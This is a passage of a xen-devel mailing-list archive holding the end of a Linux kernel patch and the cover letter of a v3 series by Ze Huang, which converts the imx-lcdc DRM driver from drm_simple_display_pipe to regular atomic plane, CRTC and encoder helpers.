-		dev_err(pipe->crtc.dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
+		dev_err(crtc->dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
 		return;
 	}
 	ret = clk_prepare_enable(lcdc->clk_ahb);
 	if (ret) {
-		dev_err(pipe->crtc.dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
+		dev_err(crtc->dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
 
 		clk_disable_unprepare(lcdc->clk_ipg);
 
 		return;
 	}
 
-	imx_lcdc_update_hw_registers(pipe, NULL, true);
+	imx_lcdc_update_hw_registers(crtc, NULL, cstate, pstate, true);
 
 	/* Enable VBLANK Interrupt */
 	writel(INTR_EOF, lcdc->base + IMX21LCDC_LIER);
+
+	drm_crtc_vblank_on(crtc);
 }
 
-static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void imx_lcdc_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						struct drm_atomic_commit *commit)
 {
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
-	struct drm_crtc *crtc = &lcdc->pipe.crtc;
+	struct drm_crtc_state *old_crtc_state = drm_atomic_get_old_crtc_state(commit, crtc);
+	struct drm_crtc_state *new_crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
 	struct drm_pending_vblank_event *event;
 
+	drm_crtc_vblank_off(crtc);
+
 	clk_disable_unprepare(lcdc->clk_ahb);
 	clk_disable_unprepare(lcdc->clk_ipg);
 
-	if (pipe->crtc.enabled)
+	if (old_crtc_state->enable)
 		clk_disable_unprepare(lcdc->clk_per);
 
 	spin_lock_irq(&lcdc->drm.event_lock);
-	event = crtc->state->event;
+	event = new_crtc_state->event;
 	if (event) {
-		crtc->state->event = NULL;
+		new_crtc_state->event = NULL;
 		drm_crtc_send_vblank_event(crtc, event);
 	}
 	spin_unlock_irq(&lcdc->drm.event_lock);
@@ -273,66 +284,151 @@ static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
 	writel(0, lcdc->base + IMX21LCDC_LIER);
 }
 
-static int imx_lcdc_pipe_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *plane_state,
-			       struct drm_crtc_state *crtc_state)
+static int imx_lcdc_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_crtc_state *old_crtc_state = drm_atomic_get_old_crtc_state(commit, crtc);
 	const struct drm_display_mode *mode = &crtc_state->mode;
-	const struct drm_display_mode *old_mode = &pipe->crtc.state->mode;
+	const struct drm_display_mode *old_mode = &old_crtc_state->mode;
+	int ret;
 
-	if (mode->hdisplay < LCDC_MIN_XRES || mode->hdisplay > LCDC_MAX_XRES ||
-	    mode->vdisplay < LCDC_MIN_YRES || mode->vdisplay > LCDC_MAX_YRES ||
-	    mode->hdisplay % 0x10) { /* must be multiple of 16 */
-		drm_err(pipe->crtc.dev, "unsupported display mode (%u x %u)\n",
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	if (crtc_state->enable &&
+	    (mode->hdisplay < LCDC_MIN_XRES || mode->hdisplay > LCDC_MAX_XRES ||
+	     mode->vdisplay < LCDC_MIN_YRES || mode->vdisplay > LCDC_MAX_YRES ||
+	     mode->hdisplay % 0x10)) { /* must be multiple of 16 */
+		drm_err(crtc->dev, "unsupported display mode (%u x %u)\n",
 			mode->hdisplay, mode->vdisplay);
 		return -EINVAL;
 	}
 
-	crtc_state->mode_changed =
-		old_mode->hdisplay != mode->hdisplay ||
-		old_mode->vdisplay != mode->vdisplay;
+	if (old_mode->hdisplay != mode->hdisplay ||
+	    old_mode->vdisplay != mode->vdisplay)
+		crtc_state->mode_changed = true;
 
-	return 0;
+	return drm_atomic_add_affected_planes(commit, crtc);
 }
 
-static void imx_lcdc_pipe_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_state)
+static void imx_lcdc_plane_helper_atomic_update(struct drm_plane *plane,
+						struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane_state *new_state = pipe->plane.state;
+	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_plane_state *new_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = new_state->crtc;
+	struct drm_crtc_state *old_crtc_state = NULL;
+	struct drm_crtc_state *new_crtc_state;
 	struct drm_framebuffer *fb = new_state->fb;
 	struct drm_framebuffer *old_fb = old_state->fb;
 	struct drm_crtc *old_crtc = old_state->crtc;
 	bool mode_changed = false;
 
+	if (!fb || !crtc)
+		return;
+
+	if (old_crtc)
+		old_crtc_state = drm_atomic_get_old_crtc_state(commit, old_crtc);
+
+	new_crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	if (!new_crtc_state)
+		return;
+
 	if (old_fb && old_fb->format != fb->format)
 		mode_changed = true;
 	else if (old_crtc != crtc)
 		mode_changed = true;
 
-	if (!drm_atomic_crtc_needs_modeset(crtc->state))
-		imx_lcdc_update_hw_registers(pipe, old_state, mode_changed);
+	if (!drm_atomic_crtc_needs_modeset(new_crtc_state))
+		imx_lcdc_update_hw_registers(crtc, old_crtc_state, new_crtc_state,
+					     new_state, mode_changed);
+}
 
-	if (event) {
-		crtc->state->event = NULL;
+static int imx_lcdc_plane_helper_atomic_check(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (plane_state->crtc) {
+		crtc_state = drm_atomic_get_crtc_state(commit, plane_state->crtc);
+		if (IS_ERR(crtc_state))
+			return PTR_ERR(crtc_state);
+	}
 
-		spin_lock_irq(&crtc->dev->event_lock);
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
 
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
+static const struct drm_plane_helper_funcs imx_lcdc_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= imx_lcdc_plane_helper_atomic_check,
+	.atomic_update	= imx_lcdc_plane_helper_atomic_update,
+};
 
-		spin_unlock_irq(&crtc->dev->event_lock);
-	}
+static const struct drm_plane_funcs imx_lcdc_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static void imx_lcdc_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *new_crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = new_crtc_state->event;
+
+	if (!event)
+		return;
+
+	new_crtc_state->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (new_crtc_state->active && drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
 }
 
-static const struct drm_simple_display_pipe_funcs imx_lcdc_pipe_funcs = {
-	.enable = imx_lcdc_pipe_enable,
-	.disable = imx_lcdc_pipe_disable,
-	.check = imx_lcdc_pipe_check,
-	.update = imx_lcdc_pipe_update,
+static const struct drm_crtc_helper_funcs imx_lcdc_crtc_helper_funcs = {
+	.atomic_check	= imx_lcdc_crtc_helper_atomic_check,
+	.atomic_enable	= imx_lcdc_crtc_helper_atomic_enable,
+	.atomic_disable	= imx_lcdc_crtc_helper_atomic_disable,
+	.atomic_flush	= imx_lcdc_crtc_helper_atomic_flush,
+};
+
+static int imx_lcdc_crtc_enable_vblank(struct drm_crtc *crtc)
+{
+	return 0;
+}
+
+static void imx_lcdc_crtc_disable_vblank(struct drm_crtc *crtc)
+{
+}
+
+static const struct drm_crtc_funcs imx_lcdc_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= imx_lcdc_crtc_enable_vblank,
+	.disable_vblank		= imx_lcdc_crtc_disable_vblank,
+};
+
+static const struct drm_encoder_funcs imx_lcdc_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const struct drm_mode_config_funcs imx_lcdc_mode_config_funcs = {
@@ -370,7 +466,7 @@ MODULE_DEVICE_TABLE(of, imx_lcdc_of_dev_id);
 static irqreturn_t imx_lcdc_irq_handler(int irq, void *arg)
 {
 	struct imx_lcdc *lcdc = arg;
-	struct drm_crtc *crtc = &lcdc->pipe.crtc;
+	struct drm_crtc *crtc = &lcdc->crtc;
 	unsigned int status;
 
 	status = readl(lcdc->base + IMX21LCDC_LISR);
@@ -388,6 +484,9 @@ static int imx_lcdc_probe(struct platform_device *pdev)
 	struct imx_lcdc *lcdc;
 	struct drm_device *drm;
 	struct drm_bridge *bridge;
+	struct drm_plane *plane;
+	struct drm_crtc *crtc;
+	struct drm_encoder *encoder;
 	int irq;
 	int ret;
 	struct device *dev = &pdev->dev;
@@ -429,23 +528,40 @@ static int imx_lcdc_probe(struct platform_device *pdev)
 	if (ret)
 		return dev_err_probe(dev, ret, "Cannot initialize mode configuration structure\n");
 
-	/* CRTC, Plane, Encoder */
-	ret = drm_simple_display_pipe_init(drm, &lcdc->pipe,
-					   &imx_lcdc_pipe_funcs,
-					   imx_lcdc_formats,
-					   ARRAY_SIZE(imx_lcdc_formats), NULL, NULL);
+	plane = &lcdc->plane;
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &imx_lcdc_plane_funcs,
+				       imx_lcdc_formats,
+				       ARRAY_SIZE(imx_lcdc_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret < 0)
+		return dev_err_probe(drm->dev, ret, "Cannot initialize primary plane\n");
+	drm_plane_helper_add(plane, &imx_lcdc_plane_helper_funcs);
+
+	crtc = &lcdc->crtc;
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&imx_lcdc_crtc_funcs, NULL);
+	if (ret < 0)
+		return dev_err_probe(drm->dev, ret, "Cannot initialize CRTC\n");
+	drm_crtc_helper_add(crtc, &imx_lcdc_crtc_helper_funcs);
+
+	encoder = &lcdc->encoder;
+	ret = drm_encoder_init(drm, encoder, &imx_lcdc_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
 	if (ret < 0)
-		return dev_err_probe(drm->dev, ret, "Cannot setup simple display pipe\n");
+		return dev_err_probe(drm->dev, ret, "Cannot initialize encoder\n");
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
 
 	ret = drm_vblank_init(drm, drm->mode_config.num_crtc);
 	if (ret < 0)
 		return dev_err_probe(drm->dev, ret, "Failed to initialize vblank\n");
 
-	ret = drm_bridge_attach(&lcdc->pipe.encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
+	ret = drm_bridge_attach(encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
 	if (ret)
 		return dev_err_probe(drm->dev, ret, "Cannot attach bridge\n");
 
-	lcdc->connector = drm_bridge_connector_init(drm, &lcdc->pipe.encoder);
+	lcdc->connector = drm_bridge_connector_init(drm, encoder);
 	if (IS_ERR(lcdc->connector))
 		return dev_err_probe(drm->dev, PTR_ERR(lcdc->connector), "Cannot init bridge connector\n");
 

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:44:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:44:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371181.1618819 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4lD-0003Tw-De; Sun, 26 Jul 2026 19:43:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371181.1618819; Sun, 26 Jul 2026 19:43:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4lD-0003To-8b; Sun, 26 Jul 2026 19:43:43 +0000
Received: by outflank-mailman (input) for mailman id 1371181;
 Sun, 26 Jul 2026 19:43:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4lB-0003Td-Ta
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:43:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4l8-00GstL-Bo
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:43:38 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666320-2eae-0a2a0a5409dd-0a2a450cde20-14
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:43:38 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666367-f479-0a2a450c0019-cddca8830a4c-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:43:37 +0200
Received: from pps.filterd (m0279865.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH8IcQ1527745
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:43:35 GMT
Received: from mail-pg1-f199.google.com (mail-pg1-f199.google.com
 [209.85.215.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmm3sbnxk-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:43:35 +0000 (GMT)
Received: by mail-pg1-f199.google.com with SMTP id
 41be03b00d2f7-cb6cf425e86so2613496a12.1
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:43:35 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 41be03b00d2f7-cbbb66dcd38sm2312070a12.29.2026.07.26.12.43.25
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:43:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-Id:MIME-Version:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=qcppdkim1; bh=FDQIeXpPD+dwLpKCV5Porv
	y3ne6CU+pJakDyD+AScDY=; b=pAZEOG1UWrwTp6+Udv9XpGfugtOEAbIEc8xh32
	izDKpGGoq0uH1WZWcQJmbJh+NgBE/f+Uy+hkdw7i28QDjdp4ViKCyfkO6VwS31Rf
	mPq41EFbFh3JI6QUTWEmXHsgHUGiynrS2EXPL8ZkcGbth9TSJM0wOlwvSBZpQM8B
	S9RjIOpjJQY3oPTTWsdlHzfSuVc90CxICcka85UZSEoOl5LywkG8t9kdG5gFsMwx
	lewic+xOYkv8Oo6dLPBQixW7/Z3DgUgfa8U0YswMXMz76jIhiG6QgcCMmaHZOpAh
	3/lvfjR7c+MmmS1k1XWZ+opI3fWzDVLKNYC2G95V8q3IShMg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095014; x=1785699814; darn=lists.xenproject.org;
        h=cc:to:content-transfer-encoding:content-type:mime-version
         :message-id:date:subject:from:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=FDQIeXpPD+dwLpKCV5Porvy3ne6CU+pJakDyD+AScDY=;
        b=PN5UmgKuhUuFOor5GquNgnNyd4PoVAOhnXiokjpqNzSADZD+QLzj+YbOStiATjFy/0
         8H9mY/oHH3cOcoU2PCx+NMTguCQk9E8/HPHAyu9NI0ol01ITX08S3vsM34Ix7aH9ur/i
         EqecHZ0nYmw8mXjcW/Jmsf3kQ9FBDFupbHwStlA5ukFRbyk1VUTA7J9Suju/V1v8JJWz
         e30j1Ob07gNTLayk+L+qZmJWTURvrdQftbHhPFVWj6J/H4+TerT/z69ovzWYKTfj9OxZ
         7WnrZ97c5uPItirJsG3ro9wnwYR9P/XPCoiuMHzZiMblls373hQcJnMMTjH/oKFVm5qm
         C1Sw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095014; x=1785699814;
        h=cc:to:content-transfer-encoding:content-type:mime-version
         :message-id:date:subject:from:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=FDQIeXpPD+dwLpKCV5Porvy3ne6CU+pJakDyD+AScDY=;
        b=LKsrWCAaFyHeIzrbTE5/dwdTdHxSovwy1vlOTqgnzYP/j+9CPFT5n+b13mb6HcjdcJ
         9tgo1A6P5e9nGpWX18ZOZWMuuaUpZWq0C4q6yWQOtAvPu8M0u2PcXhfPwyYx1HtSiuHC
         h4n0HC+dj1zLRlWboSra09AmOk5GNWby/eZib5q2GhwX6V/KYf1ctTbUD9Bcipqupq4L
         EU+xQEUfksPWXhBMF3oK8Uznyy6/K6jwItLT8ih78nUCx1mNHH640zwXBRBsIzW/PgFT
         itRQsprSAqRwzaqgX96DdXqqe7MEcefsnObzb+IJSqeG6En9fXy3Gejq1N5GU7rvTPb8
         jguQ==
X-Forwarded-Encrypted: i=1; AHgh+Row5mfGtMcxQSsjCiUWvymXTu6Ro/7hQLPKu57XaMy3kC3P02BOKJemhn4Brxb6LoMeql1ZHP8QkAY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyE5VRMMAwdaFYm9L40V7I01C+RKjC4D3IhNbr/VVBZwtoCRBg7
	HMK7LBt6zf/N9EBcQupXkHYokz+vFa83QZOKWp88Meu6XWNZO8H+rGe7fpuaxYJoQS7qabsoth5
	xXLzJeAoOvj7NMVSOgZsDWapbSBXTBG1jCwFJithjn3lstcHBizpEDAxaxEMCXfn0vT/Utg==
X-Gm-Gg: AR+sD10zBdrm7sG8J/f6iCRNRDdsMkQjpaJS1BXkPyV3x5DHCOyL4LRzUlzWUwlY1K+
	STr8Q/robeYMbLEPTU3qAtta5vHzywcO2cr8thHEpnXdUXo5AeQEfXaR3waKuv8E4pU2ftd/2Oy
	fwr9mSfhUAVnhrkDX/XGiswkqpmRX/sCoNmNyLTcZXnP5PvTkbYSMi4hYsCt3LvKQOSmKgejR0C
	3w7hL0it9MNzK8oOIR7DN63NxOF4WV7fo3UK1cPYYupaC+WFje19s2tNkiu2j+tXgICtXe3L1PY
	xF1SeUutB0WadGZP7gFsc5Zzs0D2y3bcPP4o4fk+jR5WKwUiW+30U/iWBoO4uzvGAxMmgOQBbWK
	ZrXkvkQwxCZ/pgEGG2zmc
X-Received: by 2002:a05:6a20:43ac:b0:3b3:2703:115 with SMTP id adf61e73a8af0-3c67dc41ae3mr5548164637.16.1785095014247;
        Sun, 26 Jul 2026 12:43:34 -0700 (PDT)
X-Received: by 2002:a05:6a20:43ac:b0:3b3:2703:115 with SMTP id adf61e73a8af0-3c67dc41ae3mr5548148637.16.1785095013838;
        Sun, 26 Jul 2026 12:43:33 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Subject: [PATCH v3 0/2] drm: replace simple display pipe users with atomic
 helpers
Date: Mon, 27 Jul 2026 03:42:31 +0800
Message-Id: <20260727-drm-simple-kms-removal-v3-0-de36e534f7a1@oss.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAChjZmoC/3WOwQ6CMBBEf4Xs2SVtEYye/A/jodRVq5RitxCN4
 d9t0auXSSaZmTdvYAqWGHbFGwJNlq3vk6lWBZir7i+E9pQ8KKEasRFrPAWHbN3QEd4dYyDnJ92
 hkFpU0jRaqi2k8hDobJ/L8OH49Ty2NzIxr/0SgR5jIsZvDFrNhMY7Z+OuyJyenhEzGUWDagN56
 Go5+vBaDk9y6f2+1f++TRIFtmuSRou6alS198zlY9RdhpVJ4DjP8wccL41iDAEAAA==
X-Change-ID: 20260704-drm-simple-kms-removal-01a031c6a129
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
        Philipp Zabel <p.zabel@pengutronix.de>,
        =?utf-8?q?Uwe_Kleine-K=C3=B6nig?= <u.kleine-koenig@pengutronix.de>,
        Marian Cichy <m.cichy@pengutronix.de>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095005; l=2679;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=SzrRHowXSa10BAHCyJ1LhewVqZLaXZNB44vA3ptkLd8=;
 b=ygG0jOkfjjtOnpnb/85WRy8PlT/tiW1jcovVo98E9rFl6SsoVZpL7kFNMISeo+OC86QqJ04Aw
 LK0RRwuDsgNBhR/dSZRqnbW+r+gFyurTl3vHzvkgzWB3HgUd6B0UHHR
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX/oJWn2/RAjsc
 zV1Z4HBNUlpJ6GjEYqsMEw1WWyhqlQtEWPC6guutxP1vmYFwE3VI+CSDJPypPDv5Km9D+bVv8+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ofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 impostorscore=0 suspectscore=0 clxscore=1015 priorityscore=1501 phishscore=0
 bulkscore=0 malwarescore=0 lowpriorityscore=0 adultscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-d25034/1785095018-020C1A5B-4904EE37/0/0
X-purgate-type: clean
X-purgate-size: 2681

struct drm_simple_display_pipe was meant to simplify simple DRM
drivers, but instead adds an extra wrapper around normal DRM atomic
helper setup. As noted in Documentation/gpu/todo.rst, remaining users
should be converted to regular atomic helpers and stop depending on the
simple-KMS interfaces.

Each patch replaces drm_simple_display_pipe_init() with explicit
primary plane, CRTC and encoder setup, and moves the old simple-pipe
callbacks into regular plane and CRTC helper callbacks named according
to local driver conventions.

The conversions preserve helper behavior that used to be implicit in
drm_simple_kms_helper.c, including plane-state validation, CRTC
primary-plane checks, affected-plane propagation, framebuffer prepare
handling, and existing event/vblank flow where applicable.

Result is less helper indirection and more explicit driver-side atomic
wiring, with no remaining simple-KMS dependency in these drivers.

Changes are build-tested only. No hardware testing has been performed.

This patch is based on drm-next-2026-06-27.

AI usage disclosure:
- AI tools were also used to review the code and suggest code changes for
  the DRM atomic conversion.

Thanks,
Ze Huang

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
Changes in v3:
- Add a new preparatory patch to avoid duplicate clk_per enables in
  imx-lcdc pipe update after CRTC enable.
- Use commit-local atomic state in enable/update/check paths.
- Link to v2: https://patch.msgid.link/20260716-drm-simple-kms-removal-v2-1-7e4a6b8528e6@oss.qualcomm.com/

Changes in v2:
- use 'commit' as name of struct drm_atomic_commit in atomic helpers
- improve control flow in *_crtc_helper_atomic_check() and
  *_plane_helper_atomic_check()
- Moved page-flip/vblank event handling out of plane update paths and into
  CRTC atomic_flush(), using atomic_flush and disable paths
- decide clock disable by old crtc state
- add calls to drm_crtc_vblank_on() and drm_crtc_vblank_off() in crtc
  atomic_enable() and atomic_disbale()
- test crtc_state->enable before mode size check
- Link to v1: https://patch.msgid.link/20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com

---
Ze Huang (2):
      drm/imx/lcdc: avoid duplicate clk_per enable
      drm/imx: replace struct drm_simple_display_pipe with regular atomic helpers

 drivers/gpu/drm/imx/lcdc/imx-lcdc.c | 263 ++++++++++++++++++++++++++----------
 1 file changed, 190 insertions(+), 73 deletions(-)
---
base-commit: 3696d07837d1df13a5603d77f667685e7dfb3c53
change-id: 20260704-drm-simple-kms-removal-01a031c6a129

Best regards,
-- 
Ze Huang <ze.huang@oss.qualcomm.com>



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:44:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:44:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371182.1618827 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4lH-0003h3-IV; Sun, 26 Jul 2026 19:43:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371182.1618827; Sun, 26 Jul 2026 19:43:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4lH-0003gw-Fa; Sun, 26 Jul 2026 19:43:47 +0000
Received: by outflank-mailman (input) for mailman id 1371182;
 Sun, 26 Jul 2026 19:43:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4lG-0003gg-Hd
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:43:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4lF-00Gt1t-Uz
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:43:45 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666320-2eae-0a2a0a5409dd-0a2a450cde20-20
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:43:45 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
